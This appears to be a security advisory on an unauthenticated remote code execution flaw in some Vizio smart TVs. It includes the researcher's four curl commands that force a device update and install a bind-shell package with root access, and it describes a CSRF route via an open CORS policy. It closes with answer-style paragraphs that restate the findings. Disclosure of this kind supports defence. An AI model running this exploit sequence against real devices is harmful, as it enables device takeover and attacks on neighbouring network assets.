A remote code execution vulnerability is present in several Vizio Smart TV models. A threat actor on the local network or an internet-connected Vizio TV can exploit the device, with no pre-conditions, to obtain OS-level command execution on the TV and maintain persistence. From this position, a threat actor can lay dormant on the TV and attack neighboring assets. The Vizio TV API, used primarily for control through the mobile web application, enables a threat actor to send unauthenticated developer commands, including the ability to upload and execute a binary file. While the network-based attack can be launched against any Vizio TV connected to Wi-Fi, LAN, or internet without any user interaction, another means of exploitation is possible through a CSRF-based attack. A CSRF-based attack is possible due to the API's open cross-origin-resource-sharing (CORS) policy.
The researcher performed the following procedures to upload a bind shell on the Vizio TV:
HOST="192.168.1.175"
PORT=7345
# Place the device into a new override group
curl -k -s https://${HOST}:${PORT}/scpl/update/override_group -d "device_group=oobe-2020-dev"
# Check for new updates
curl -k -s https://${HOST}:${PORT}/scpl/update/available_update_info -d ""
# Force a device update
curl -k -s https://${HOST}:${PORT}/scpl/update/start_update -d ""
# Upload and install binary file
curl -k -s https://${HOST}:${PORT}/scpl/install -H "Expect:" -F "scpl_tgz_package=@bind_shell.tar.gz;type=application/x-gzip" -F "Install=Install"Once the script executed, the researcher was able to connect to the payload and execute commands as the root user. The same outcome is reachable remotely via a CSRF request delivered to a victim on the same network as the TV.
The Vizio TV API, used mainly for control through the mobile web application, accepts unauthenticated developer commands, including the ability to upload and execute a binary file. Advisory L9-44-476 states a threat actor can obtain operating system level command execution on the TV with no pre-conditions and maintain persistence.
Yes. The advisory states the network based attack can be launched against any Vizio TV connected to Wi-Fi, LAN or the internet without any user interaction. A second route is a CSRF based attack, which is possible because the API has an open cross origin resource sharing policy.
The researcher placed the device into a new override group, checked for available updates, forced a device update, then uploaded and installed a binary package containing a bind shell. Each step is a request to the TV update and install endpoints. Once installed, commands ran as the root user.
The advisory states a threat actor can lay dormant on the TV and attack neighboring assets from that position, holding operating system level command execution and persistence. The same outcome is reachable remotely through a CSRF request delivered to a victim on the same network as the TV.
Advisory L9-44-476 names the 2017 E50x-E1 with affected versions 6.0.31.4-2 and 10.0.31.4-2, and states the flaw is present in several Vizio smart TV models. The category is command injection and the impact is listed as Unranked. The advisory does not enumerate the other affected models.